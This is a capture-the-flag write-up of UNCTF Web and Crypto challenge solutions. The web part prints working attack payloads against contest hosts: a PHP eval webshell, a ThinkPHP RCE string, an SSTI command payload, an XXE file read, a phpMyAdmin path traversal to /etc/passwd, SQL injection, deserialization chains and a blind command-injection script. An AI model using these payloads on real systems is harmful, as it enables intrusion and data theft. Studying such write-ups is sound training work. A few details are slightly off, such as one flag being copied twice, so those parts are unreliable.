UNCTF

The Web, Misc, Crypto in UNCTF

Posted by JBNRZ on 2022-12-02
Estimated Reading Time 42 Minutes
Words 8k In Total
Viewed Times

WEB

我太喜欢bilibili大学啦

  1. 进入页面直接搜 flag 就能得到

UNCTF{a29ffa65-a6ce-4631-9da0-e8e537f3bf27}

ezgame

  1. 谷歌浏览器打开页面,进入源代码,搜索 999,改为 1,直接攻击一次就出 flag
    ezgame
  2. flag

UNCTF{c5f9a27d-6f88-49fb-a510-fe7b163f8dd3}

签到

  1. 审查元素,发现 20200101, 尝试后续学号,20200102 回显 f,写脚本爆破
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from requests import post

url = "http://e0be2f42-d33e-4724-b091-aa3c3279c43e.node.yuzhian.com.cn/index.php"

data = {
"username": "",
"password": "",
"submit": "提交"
}

for i in range(20200101, 20200200):
data['username'] = str(i)
data['password'] = str(i)
a = post(url, data).text.replace('\r', '').split('\n')[-3]
print(a, end='')
  1. flag

UNCTF{bfff6d206cbcd6ac0870a4f48c7c313b}

babyphp

  1. 访问 index.php
1
2
post: a=0%00&key1=aaroZmOk&key2=aaK1STfY
get: ?code=phpinfo();
  1. 搜索flag

UNCTF{99hanDis_pHP_Ba_True_flag}

ez_upload

  1. 发现对文件格式有过滤,利用后缀名漏洞 上传 test.png.php
1
<?php eval($_POST['cmd']); ?>

蚁剑连接,源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
error_reporting(0);
// 允许上传的图片后缀
if( !isset($_FILES["file"])){
die();
}

$allowedExts = array("jpg");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp); // 获取文件后缀名

if ((($_FILES["file"]["type"] == "png"))
&& ($_FILES["file"]["size"] < 15360) // 小于 15 kb
)
{
if ($_FILES["file"]["error"] > 0)
{
echo "错误:: " . $_FILES["file"]["error"] . "<br>";
}else if(mb_strpos(file_get_contents($file["tmp_name"]), "eval") !== FALSE)
{
echo "NO! HACKER!";
}
else
{
echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
echo "文件类型: " . $_FILES["file"]["type"] . "<br>";
echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
echo "文件临时存储的位置: " . $_FILES["file"]["tmp_name"] . "<br>";

// 判断当前目录下的 upload 目录是否存在该文件
if (file_exists("uplO4d/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " 文件已经存在。 ";
}
else
{
// 如果 upload 目录不存在该文件则将文件上传到 upload 目录下
move_uploaded_file($_FILES["file"]["tmp_name"], "uplO4d/" . $_FILES["file"]["name"]);
echo "文件存储在: " . "uplO4d/" . $_FILES["file"]["name"];
}
}
}
else
{
echo "非法的文件格式";
}
?>
  1. 在 home/ctf/flag

UNCTF{2e2bfec4-55ee-40e2-bf39-99db32b3f8c7}

我太喜欢bilibili大学啦修复版

  1. 访问,搜索hint,得到hint1,base64解码得 admin_unctf.php
  2. 访问,打开网络,查看响应头,发现hint2,base64解码得密码unctf2022/unctf2022
  3. 访问,传递cookie:cmd=cat /f*,base64 解码,https://space.bilibili.com/673907356
  4. 访问,得 flag

UNCTF{this_is_so_easy}

给你一刀

  1. 访问,经典RCE漏洞,直接上现成的payload
1
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=env
  1. flag

UNCTF{Y0u_A3r_so_G9eaD_hacker}

easy ssti

  1. 又是一道经典题,直接上,似乎非预期?主办方设置了过滤,但是没用上
1
{{url_for.__globals__['os'].popen('env').read()}}
  1. flag

UNCTF{a1c71fdb-5b84-47b4-b77b-416f4cf7b113}

302与深大

  1. 很简单的 post get 之类的,抓包之后扔掉重定向的包,按着题目要求做就行了
    302
    302
    302
    302
  2. flag

UNCTF{thai_miku_micgo_qka_WEB_GOD}

ezunseri

  1. 简单的反序列化,直接上代码了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
class Exec
{
public $content;
public function __construct($content)
{
$this -> content = $content;
}
}
class Test
{
public $test;
public $key;
public function __construct($test){
$this->test = $test;
}
}
class Login
{
public $code;
public $key;
public function __construct($code, $key){

$this -> code = $code;
$this -> key = $key;
}
}
$d = new Exec("system('cat /flag');");
$d -> content = "system('cat /flag');";

$c = new Test($d);
$c -> test = $d;

$b = new Exec($c);
$b -> content = $c;

$a = new Login('3.1415926', $b);
$a -> code = '3.1415926';
$a -> key = $b;
$e = urlencode(serialize($a));
echo $e;
echo "\n";
$e = preg_replace("/Exec%22%3A1%3A/", "Exec%22%3A2%3A", $e);
echo $e;
  1. flag

UNCTF{ee308c59-a290-4528-aa02-bbc4af5597ae}

xxe

  1. 在网上找到可用payload,根目录找到flag
1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///flag" >
]>
<root>
<name>&xxe;</name>
</root>

xxe
2. flag

UNCTF{th8s_1s_Fla9}

nodejs

  1. 格式化代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
app.post('/', function(req, res) {
var flag = 'flag';
var admin = {};
let user = {};
try {
copy(user, req.body);
} catch (error) {
res.send("copy error");
return;
}
if (admin.id === 'unctf') {
res.end(flag);
} else {
return res.end("error");
}
})
  1. 此处没有发现copy方法的定义,推断应该为实现正常合并对象的功能, 获取flag的条件是admin对象的id属性为’unctf’,则通过js特性污染user的父类Object
1
{"__proto__":{"id":"unctf"}}
  1. 修改MIME请求头为content-type: json得到flag
    nodejs
  2. flag

UNCTF{22ca8686bfa31a2ae5f55a7f60009e14}

poppop

  1. 似乎比上一个还简单
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
class A{
public $code = 'system("env");';
function __construct($code)
{
$this -> code = $code;
}
}

class B{
public $key;
function __construct($key)
{
$this -> key = $key;
}
}
class C{
private $key2;
function __construct($key2)
{
$this -> key2 = $key2;
}
}
$c = new A('system("env");');
$c -> code = 'system("env");';
$b = new C($c);
$a = new B($b);
$a -> key = $b;
$d = urlencode(serialize($a));
echo $d;
echo "\n";
$d = preg_replace('/%22B%22%3A1%3A/', '%22B%22%3A2%3A', $d);
echo $d;
  1. flag

UNCTF{798bf94e-5f18-4392-acfb-ad72e66756a7}

easy_rce

  1. 根据读取文件得每一个字符进行爆破,爆破单个字符正确是sleep 1,写脚本
    (和之前的 ISCTF 很像)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
import string
from urllib import parse
import time

# url = "http://f8836abe-7869-40f5-be07-bc85ce47a28c.node.yuzhian.com.cn/?code="
payload = 'if [ $(head -c num /f?ag) == string ]%0athen sleep 1%0aecho success %0afi'
# 读取 flag 文件的前 i 个字符,进行爆破
print(''.join(payload))
disc = string.digits + string.ascii_letters + "{}+-*/_"
head = {"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", 'Connection': 'close'}

flag = ""
i = 1
while not flag.endswith('}'):
status = False
for j in disc:
url = "http://75e4b7dc-280f-4c3a-9c12-bcab71872b4b.node.yuzhian.com.cn/?code="
url += f'if [ $(head /f?ag | cut -c {i}) == {j} ]%0a then sleep 1%0a echo success%0afi'
start_time = time.time()
res = requests.get(url=url.replace(' ', '%20'), headers=head)
end_time = time.time()
if (end_time - start_time) > 1:
status = True
flag += j
print(flag)
break
i += 1
if status == False:
print(flag)
exit()
  1. flag

UNCTF{e84fed028b9046fc0e8f080e96e72184}

快乐三消

  1. 扫描目录,得到后台地址,/admin/login.php /admin/login.php.bak
  2. 备份文件中存在密码,(或者弱口令爆破
  3. 找到文件上传点,上传马
    klsx
  4. 抓包,找到文件上传点,蚁剑链接

UNCTF{testflag}

数据库管理大师

  1. phpmyadmin 4.8.1 远程文件包含
  2. 期中 index.php 存在文件包含逻辑,二次编码可绕过
1
2
index.php?target=db_sql.php%253f/../../../../../../etc/passwd
index.php?target=db_sql.php%253f/../../../../../../flag

世界和平

  1. 查表
1
1; show tables;
  1. 双写绕过
1
1;seSelectlect *frFromom FFlaglag;

ez2048

  1. 分析题目,填写邀请码正确才能开始游戏,合成2048方格可以得到flag。

于是查看js源码。
邀请码check片段。
合成2048方块成功与否check及flag输出片段。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
checkInvited() { 
let args = [...arguments];
let buf = new ArrayBuffer(24);
const view = new DataView(buf);
view.setUint8(0, 68);
view.setUint8(1, 51);
view.setUint8(2, 15);
view.setUint8(3, 80);
view.setUint16(4, 0x0e5d, true);
view.setUint16(6, 0x323a, true);
view.setUint16(8, 0x3058, true);
view.setUint16(10, 0x1a2a, true);
view.setUint32(12, 0x0512160d, true);
view.setUint32(16, 0x02560002);
view.setUint32(20, 0x130000);
function check(code) {
if (code.length !== 24) return false;
let encode = [];
for (let i = 0; i < code.length; i++) {
if (~i % 2 === 0) {
encode.push(code.charCodeAt(i) ^ code.charCodeAt(i - 2));
} else {
encode.push(code.charCodeAt(i) ^ code.charCodeAt(i + 1));
}
}
for (let i = 0; i < code.length; i++) {
if (view.getInt8(i) !== encode[i]) return false;
}
return true;
}
return function () {
if (!!arguments.length) {
[].push.apply(args, arguments);
return arguments.callee;
}
return check(args.join(""));
};
}
// this.checkInvited(input)() 调用
  1. 分析得,首先进行js逆向,获得邀请码,游戏通过wasm导出函数_check_success判定游戏获胜与否,并 通过邀请码输出flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
class GameManager{ 
//...
startCheck() {
//...
this.invitedCode = input;
this.allocatedInvitedCode = allocate(
intArrayFromString(this.inviteCode),
ALLOC_NORMAL
);
//...
}
//...
listenerFn(direction){
//...
let result = UTF8ToString(
_check_success(merged.value, this.allocatedInvitedCode)
);
if (result != "false") this.gameSuccess(result);
//...
}
//...
gameSuccess(result){
//...
this.content.innerHTML = result; //flag
}
//...
}
  1. ArrayBuffer 内部存储着加密后的邀请码

view.setUint16(4, xxx, true); // 此处表示数据小端存储
加密后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
const code = [ 
68, 51, 15, 80, 93, 14, 58, 50, 88, 48, 42, 26, 13, 22, 18, 5, 2, 86, 0, 2,
0, 19, 0, 0,
];
~i % 2 === 0 意味着奇变偶,偶变奇
~1 => -2
~2 => -3
checkInvited() { // 柯里化,相对于直接调用了checkInvited(input)
let args = [...arguments];
return function () {
if (!!arguments.length) {
[].push.apply(args, arguments);
return arguments.callee;
}
return check(args.join(""));
};
}
  1. 加密流程 ⇩
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
可以看到,偶数项加密无法找到突破口。 

而由奇数序列,发现:encoded[1] = source[1] ^ source[-1],js中数组越界为undefined,在异或操作中实
则为0。

由此,找到突破口encoded[1] = source[1]。(√为已知)

而由奇数序列,encoded[3] = source[1] ^ source[3],可得source[3],依次类推可得所有奇数项。由上图偶
数序列encoded[i] = source[i]^source[i+1],可得所有偶数项source[i]。
解密脚本:
const code = [
68, 51, 15, 80, 93, 14, 58, 50, 88, 48, 42, 26, 13, 22, 18, 5, 2, 86, 0, 2, 0,
19, 0, 0,
];
function decode() {
let encode = [];
for (let i = 1; i < code.length; i += 2) {
encode.push(
String.fromCharCode(code[i] ^ encode[(i - 3) / 2]?.charCodeAt(0))
);
}
for (let i = 0; i < code.length; i += 2) {
0x02 flag
理想难度:
实际难度: 得到邀请码后,直接复制关键代码到控制台模拟游戏成功获得flag输出。
encode.splice(
i,
0,
String.fromCharCode(code[i] ^ encode[i]?.charCodeAt(0))
);
}
console.log(encode.join(""));
}
decode();
// 邀请码:w3lc0me_7o_unctf2022!!!!
wasm逆向: 使用wasm-decompile对wasm进行反编译

ez2048
ez2048
ez2048

sqlsql

  1. exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import requests
import re

def register(url, username, studentid):
data = {
'username': f'{username}',
'studentid': f'{studentid}',
'submit': '提交'

}
requests.post(url=url+'/register.php', data=data)

def login(url, username, studentid):
data = {
'username': f'{username}',
'studentid': f'{studentid}',
'submit': '提交'
}
res = requests.post(url=url+'/login.php', data=data, allow_redirects=False)
return res.cookies

def exam(url, cookies):
data = {
'q1': '1',
'q2': '1',
'q3': '1',
'q4': '1',
'q5': '1'
}
requests.post(url=url+'/index.php', data=data, cookies=cookies)

def search_score(url, studentid, cookies):
data = {
'studentid': f'{studentid}'
}
res = requests.post(url=url+'/score.php', data=data, cookies=cookies)
return res.text

def logout(url):
requests.get(url=url+'/logout.php')


if __name__ == "__main__":
url = 'http://101.43.225.132:9003'
studentid_test = '111'
studentid = '222'
inject_studentid = '333'
inject_sql = f"{studentid_test}','1','2','3','2','3');update users set studentid={inject_studentid} where username='admin';--+"

register(url, studentid_test, studentid_test)
register(url, inject_sql, studentid)

cookies1 = login(url, inject_sql, studentid)
exam(url, cookies1)

cookies2 = login(url, 'admin', inject_studentid)
res = search_score(url, inject_studentid, cookies2)
print(re.findall(r"PPSUC{\w*}", res)[0])

CRYPTO

md5 1

  1. exp
1
2
3
4
5
6
7
8
9
from hashlib import md5
from string import ascii_letters, digits

printable = ascii_letters + digits + "_{}"
content = open('out.txt', 'r').read().split()
for i in content:
for j in printable:
if i == md5(j.encode()).hexdigest():
print(j, end='')
  1. flag

UNCTF{e84fed028b9046fc0e8f080e96e72184}

dddd

  1. 解压一个txt,很像Morse,替换一下
1
110/01/0101/0/1101/0000100/0100/11110/111/110010/0/1111/10000/111/110010/1000/110/111/0/110010/00/00000/101/111/1/0000010

dddd
2. flag

UNCTF{Y4S_TH1S_JUST_M0RSE}

caesar

  1. 换表凯撒,直接写脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
message = 'B6vAy{dhd_AOiZ_KiMyLYLUa_JlL/HY}'
SYMBOLS = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'

for key in range(len(SYMBOLS)):
translated = ''

for symbol in message:
if symbol in SYMBOLS:
symbolIndex = SYMBOLS.find(symbol)
translatedIndex = symbolIndex - key

if translatedIndex < 0:
translatedIndex = translatedIndex + len(SYMBOLS)

translated = translated + SYMBOLS[translatedIndex]

else:
translated = translated + symbol

print('Key #%s: %s' % (key, translated))
  1. flag

UNCTF{w0w_Th1s_d1fFerent_c4eSar}

md5 2

  1. 简单异或,后一位与前一位MD5值异或,用第一位推后面, 但我用爆破的方式正面解
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from hashlib import md5
from string import ascii_letters, digits

printable = ascii_letters + digits + '}'
flag = 'UNCTF{'
# x不是一个字符是n个字符

content = open('out.txt', 'r').read().split()

for _ in range(35):
for j in printable:
md5_ = []
for i in flag + j:
md5_.append(int(md5(i.encode()).hexdigest(), 16))
b = []
for i in range(0, len(md5_)):
if i == 0:
b.append(hex(md5_[i])[2:])
else:
b.append(hex(md5_[i] ^ md5_[i - 1])[2:])
if b == content[:len(b)]:
print(flag)
flag += j

md5
2. flag

UNCTF{a197271943ceb3c3fe98bcadf10c29d4}

今晚吃什么

  1. 下载发现 txt 内容只有 10000 和 00000 两种,根据题目联想到食物,培根替换之后解码
1
A  A  A  B  A  B  A  A  A  A  B  A  B  B  A  A  B  B  B  A  B  A  A  A  A  A  B  B  A  B  A  B  A  A  A  B  A  A  A  B  A  A  B  A  B  B  A  A  B  B  A  B  B  A  A

C R Y P R O I S F U N

  1. flag

UNCTF{CRYPROISFUN}

sing table

  1. 下载后根据给出的例子构造一个矩阵,将 play 四个字母放在最后
1
2
3
4
5
6
7
[
B,C,D,E,F
G,H,I,K,Ms
N,O,Q,R,S
T,U,V,W,X
Z,P,L,A,Y
]

OT UB M B CQ SP HW OQ AU AY FM KL WS

  1. 仔细观察例子发现都是对角线上的字母,反解出flag

UNCTF{GOD_YOU_KNOW_PLAYFAIRX}

ezRSA

  1. 一道基础RSA
1
2
3
4
5
6
7
8
9
10
from Crypto.Util.number import *
from gmpy2 import iroot, invert

n = 62927872600012424750752897921698090776534304875632744929068546073325488283530025400224435562694273281157865037525456502678901681910303434689364320018805568710613581859910858077737519009451023667409223317546843268613019139524821964086036781112269486089069810631981766346242114671167202613483097500263981460561
e = 65537
c = 56959646997081238078544634686875547709710666590620774134883288258992627876759606112717080946141796037573409168410595417635905762691247827322319628226051756406843950023290877673732151483843276348210800329658896558968868729658727981445607937645264850938932045242425625625685274204668013600475330284378427177504
p = iroot(n, 4)[0]
_n = p ** 4 - p ** 3
d = invert(e, _n)
print(long_to_bytes(pow(c, d, n)))
  1. flag

unctf{pneum0n0ultram01cr0sc0p01cs01l01c0v0lcan0c0n010s01s}

baby RSA

  1. 分析:M=((m>>60)<<60),将m后60位全化成0,m的范围(M,M+260)
    pow(m,e,n)=c -> m
    e=c+k*n
    用m的范围,整除n来限制k的范围,从而求m
1
2
3
4
5
6
7
8
9
10
11
import gmpy2
from Crypto.Util.number import *
n=25300208242652033869357280793502260197802939233346996226883788604545558438230715925485481688339916461848731740856670110424196191302689278983802917678262166845981990182434653654812540700781253868833088711482330886156960638711299829638134615325986782943291329606045839979194068955235982564452293191151071585886524229637518411736363501546694935414687215258794960353854781449161486836502248831218800242916663993123670693362478526606712579426928338181399677807135748947635964798646637084128123883297026488246883131504115767135194084734055003319452874635426942328780711915045004051281014237034453559205703278666394594859431
c=15389131311613415508844800295995106612022857692638905315980807050073537858857382728502142593301948048526944852089897832340601736781274204934578234672687680891154129252310634024554953799372265540740024915758647812906647109145094613323994058214703558717685930611371268247121960817195616837374076510986260112469914106674815925870074479182677673812235207989739299394932338770220225876070379594440075936962171457771508488819923640530653348409795232033076502186643651814610524674332768511598378284643889355772457510928898105838034556943949348749710675195450422905795881113409243269822988828033666560697512875266617885514107
M=11941439146252171444944646015445273361862078914338385912062672317789429687879409370001983412365416202240
print((M**6)//n,((M+2**60)**6)//n)
k=114
x,y=gmpy2.iroot(c+k*n,6)
print(x,y)
m=11941439146252171444944646015445273361862078914338385912062672317789429687879409370002429378909002883709
print(long_to_bytes(m))
  1. flag

UNCTF{27a0aac7-76cb-427d-9129-1476360d5d1b}

easy RSA

  1. exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#已知p的高312位,在sage中运行,高位爆破p
from sage.all import *
n = 102089505560145732952560057865678579074090718982870849595040014068558983876754569662426938164259194050988665149701199828937293560615459891835879217321525050181965009152805251750575379985145711513607266950522285677715896102978770698240713690402491267904700928211276700602995935839857781256403655222855599880553
p4 = 8183408885924573625481737168030555426876736448015512229437332241283388177166503450163622041857
#p4为p去除0的剩余位
e = 0x10001
pbits = 512
kbits = pbits - p4.nbits()
print(p4.nbits())
p4 = p4 << kbits
PR.<x> = PolynomialRing(Zmod(n))
f = x + p4
roots = f.small_roots(X=2^kbits, beta=0.4)
if roots:
p = p4+int(roots[0])
print("n= "+str(n))
print("p= "+str(p))
print("q= "+str(n//p))

sage

1
2
3
4
5
6
7
8
9
10
11
#解出p,q后,经典rsa
from Crypto.Util.number import *
p= 13150231070519276795503757637337326535824298772055543325920447062237907554543786311611680606624189166397403108357856813812282725390555389844248256805325917
q= 7763324082495716852870824316200424018139567206154696104953385573761033160220038511251268217230653629388520339723337700045392099450472580225771046069366909
c=6423951485971717307108570552094997465421668596714747882611104648100280293836248438862138501051894952826415798421772671979484920170142688929362334687355938148152419374972520025565722001651499172379146648678015238649772132040797315727334900549828142714418998609658177831830859143752082569051539601438562078140
n=102089505560145732952560057865678579074090718982870849595040014068558983876754569662426938164259194050988665149701199828937293560615459891835879217321525050181965009152805251750575379985145711513607266950522285677715896102978770698240713690402491267904700928211276700602995935839857781256403655222855599880553
phi=(p-1)*(q-1)
e=0x10001
d=inverse(e,phi)
m=pow(c,d,n)
print(long_to_bytes(m))
  1. flag

flag{It is a very_intersting_test!!!}

Multi table

  1. 审查一下代码,唯一不确定的就是一组 KEY,但是可以根据输出结果先爆破出 key
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from string import ascii_uppercase
flag = "UNCTF"
base_table = ['J', 'X', 'I', 'S', 'E', 'C', 'R', 'Z', 'L', 'U', 'K', 'Q', 'Y', 'F', 'N', 'V', 'T', 'P', 'O', 'G', 'A', 'H', 'D', 'W', 'M', 'B']
table = {}
for i in range(26):
table[i] = ascii_uppercase[i:] + ascii_uppercase[:i]
for a in range(26):
for b in range(26):
for d in range(26):
for e in range(26):
key = [a, b, d, e]
c = ''
x = 0
for i in range(len(flag)):
if flag[i] in ascii_uppercase:
c += table[key[x % 4]][base_table.index(flag[i])]
x += 1
else:
c += flag[i]
if c == "SDCGW":
print(key)
# ['J', 'X', 'I', 'S', 'E', 'C', 'R', 'Z', 'L', 'U', 'K', 'Q', 'Y', 'F', 'N', 'V', 'T', 'P', 'O', 'G', 'A', 'H', 'D', 'W', 'M', 'B']
# SDCGW{MPN_VHG_AXHU_GERA_SM_EZJNDBWN_UZHETD}

[9, 15, 23, 16]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from string import ascii_uppercase

printable = ascii_uppercase + "{}_"
flag = "UNCTF{"
base_table = ['J', 'X', 'I', 'S', 'E', 'C', 'R', 'Z', 'L', 'U', 'K', 'Q', 'Y', 'F', 'N', 'V', 'T', 'P', 'O', 'G', 'A', 'H', 'D', 'W', 'M', 'B']

print(base_table)

table = {}
for i in range(26):
table[i] = ascii_uppercase[i:] + ascii_uppercase[:i]

key = [9, 15, 23, 16]
for num in range(len("MPN_VHG_AXHU_GERA_SM_EZJNDBWN_UZHETD}")):
for s in printable:
flag2 = flag + s
c = ''
x = 0
for i in range(len(flag2)):
if flag2[i] in ascii_uppercase:
c += table[key[x % 4]][base_table.index(flag2[i])]
x += 1
else:
c += flag2[i]
if c == "SDCGW{MPN_VHG_AXHU_GERA_SM_EZJNDBWN_UZHETD}"[:len(c)]:
flag += s
print(flag)
  1. flag

UNCTF{WOW_YOU_KNOW_THIS_IS_VIGENERE_CIPHER}

ezxor

  1. 不会,上网搜,多次一密,发现一篇博客

https://www.ruanx.net/many-time-pad/

  1. 写的真好,代码粘过来试试 (cv工程师在此
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import Crypto.Util.strxor as xo
import libnum, codecs, numpy as np

def isChr(x):
if ord('a') <= x and x <= ord('z'): return True
if ord('A') <= x and x <= ord('Z'): return True
return False

def infer(index, pos):
if msg[index, pos] != 0:
return
msg[index, pos] = ord(' ')
for x in range(len(c)):
if x != index:
msg[x][pos] = xo.strxor(c[x], c[index])[pos] ^ ord(' ')

dat = []

def getSpace():
for index, x in enumerate(c):
res = [xo.strxor(x, y) for y in c if x!=y]
f = lambda pos: len(list(filter(isChr, [s[pos] for s in res])))
cnt = [f(pos) for pos in range(len(x))]
for pos in range(len(x)):
dat.append((f(pos), index, pos))

c = [codecs.decode(x.strip().encode(), 'hex') for x in open('test.txt', 'r').readlines()]

msg = np.zeros([len(c), len(c[0])], dtype=int)

getSpace()

dat = sorted(dat)[::-1]
for w, index, pos in dat:
infer(index, pos)

print('\n'.join([''.join([chr(c) for c in x]) for x in msg]))

结果

1
2
3
4
5
6
7
8
9
10
11
In the flood of dar'ness hdop
t. It brings comfor8, fae<d,
e. It gives us guid-nce { in
and gives support w$en wihmre
the moment we give 9p ho|- w
lives. The world w) livihen
ting into a place o* male+i a
ere we need hope an( finhhet
is world of fear, h#pe tchjin
easier said than d#ne, x i m
l life of faith wil makih`if

大致搜索一下,在微博上找到原文

https://weibo.com/2108685754/K0mBvpzm6?sudaref=www.baidu.com

1
In the flood of darkness, hope is the light. It brings comfort, faith, and confidence. It gives us guidance when we are lost, and gives support when we are afraid. And the moment we give up hope, we give up our lives. The world we live in is disintegrating into a place of malice and hatred,where we need hope and find it harder. In thisworld of fear, hope to find better, but easier saidthan done, the more meaningful life of faith will make life meaningful.

调整几个位置的值,加上下面的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def know(index, pos, ch):
msg[index, pos] = ord(ch)
for x in range(len(c)):
if x != index:
msg[x][pos] = xo.strxor(c[x], c[index])[pos] ^ ord(ch)


know(0, 19, 'k')
know(9, 19, 'o')
know(3, -3, 'a')
know(3, -4, ' ')
know(3, -5, 'e')

print('\n'.join([''.join([chr(c) for c in x]) for x in msg]))

输出结果

1
2
3
4
5
6
7
8
9
10
11
In the flood of darkness, hop
t. It brings comfort, faith,
e. It gives us guidance when
and gives support when we are
the moment we give up hope, w
lives. The world we live in
ting into a place of malice a
ere we need hope and find it
is world of fear, hope to fin
easier said than done, the m
l life of faith will make lif

选取第一行与密文第一行进行异或得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
a = '''
1c2063202e1e795619300e164530104516182d28020005165e01494e0d
2160631d325b3b421c310601453c190814162d37404510041b55490d5d
3060631d325b3e59033a1252102c560207103b22020613450549444f5d
3420277421122f55067f1207152f19170659282b090b56121701405318
212626742b1434551b2b4105007f110c041c7f361c451e0a02440d010a
75222a22230877102137045212300409165928264c091f131701484f5d
21272d33661237441a7f005215331706175930254c0817091b4244011c
303c2674311e795e103a05520d300600521831274c031f0b160148555d
3c3d63232909355455300752033a17175e59372c1c0056111d01474813
752b22272f1e2b10063e0816452b1e041c593b2c02005a450649440110
396e2f3d201e795f137f07130c2b1e450510332f4c08170e17014d481b
'''
a = a.split()
for i in range(len(a)):
_ = []
for j in range(len(a[i]) // 2):
_.append(int(a[i][j*2:(j+1)*2], 16))
a[i] = _
a = a[0]
print(a)
b = 'In the flood of darkness, hop'
b = list(b.encode())
print(b)
assert len(a) == len(b)
for i in range(len(a)):
print(chr(a[i] ^ b[i]), end='')
  1. flag

UNCTF{Y0u_are_very_Clever!!!}

easy_lfsr

  1. 给出了lfsr随机数生成先后512个状态,可以利用矩阵进行快速运算
  2. exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#sage
from Crypto.Util.number import *
import random
import os
length = 512
r1 = 1261758973831852037364036680281442789461569523587512977925542995725854499352478233840720068310447535900840104847512878006505600998481136843381903570688446
r2 =
R = bin(r1)[2:].rjust(length,'0') + bin(r2)[2:].rjust(length,'0')
M = []
T = []
for j in range(0, length):
table = [int(k) for k in R[j:j + length]]
ans = int(R[j + length])
M.append(table)
T.append(ans)
M = matrix(GF(2), M)
T = vector(GF(2), T)
M = M.inverse()
mask = M * T
flag = [str(i) for i in mask]
flag = int(''.join(flag),2)
print(long_to_bytes(flag))

Fermat

  1. 理论
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
费马小定理(Fermat's little theorem)是数论中的一个重要定理,在1636年提出。如果p是一个质数,而整数a不是p的倍数,则有a^(p-1)≡1mod p)。
题目中gift为下面的x,x为下面的k。之前写的懒得改了。
x=k*(p-1),n=p*q
2^k*(p-1)=1 mod p
2^k*(p-1)-1=k*p
2^x-1=k*p
这里2^x-1是p的倍数,n也是p的倍数,他们的公因数就是p。
gcd(2^x-1,n)=p,但是x太大了,直接计算公因数运行时间太久了。
我是这样想的p是n的因子,把2^x-1 mod n 再求公因数应该也可以吧。
下面看看证明:
2^x= 1 (mod p),即2^x = 1 + k1*p
2^x% n = 2^x - k2n = 2^x - k2pq
两边同时% p,有2^x% n = 2^x (mod p)
所以同样有2^x % n = 1 (mod p)
什么?不想推公式,那直接看下面吧:
总结:当知道某一个数x是p-1的倍数时,就用gcd(2^x-1,n)=p,进一步gcd(pow(2,x,n)-1,n)=p。这里2可以换为其他数,只要不是p的倍数和01就行。
  1. exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import libnum
import gmpy2

e=0x10001
n=19793392713544070457027688479915778034777978273001720422783377164900114996244094242708846944654400975309197274029725271852278868848866055341793968628630614866044892220651519906766987523723167772766264471738575578352385622923984300236873960423976260016266837752686791744352546924090533029391012155478169775768669029210298020072732213084681874537570149819864200486326715202569620771301183541168920293383480995205295027880564610382830236168192045808503329671954996275913950214212865497595508488636836591923116671959919150665452149128370999053882832187730559499602328396445739728918488554797208524455601679374538090229259
c=388040015421654529602726530745444492795380886347450760542380535829893454552342509717706633524047462519852647123869277281803838546899812555054346458364202308821287717358321436303133564356740604738982100359999571338136343563820284214462840345638397346674622692956703291932399421179143390021606803873010804742453728454041597734468711112843307879361621434484986414368504648335684946420377995426633388307499467425060702337163601268480035415645840678848175121483351171989659915143104037610965403453400778398233728478485618134227607237718738847749796204570919757202087150892548180370435537346442018275672130416574430694059
gift=28493930909416220193248976348190268445371212704486248387964331415565449421099615661533797087163499951763570988748101165456730856835623237735728305577465527656655424601018192421625513978923509191087994899267887557104946667250073139087563975700714392158474439232535598303396614625803120915200062198119177012906806978497977522010955029535460948754300579519507100555238234886672451138350711195210839503633694262246536916073018376588368865238702811391960064511721322374269804663854748971378143510485102611920761475212154163275729116496865922237474172415758170527875090555223562882324599031402831107977696519982548567367160


# gift+x=x*p
#gift=x(p-1)

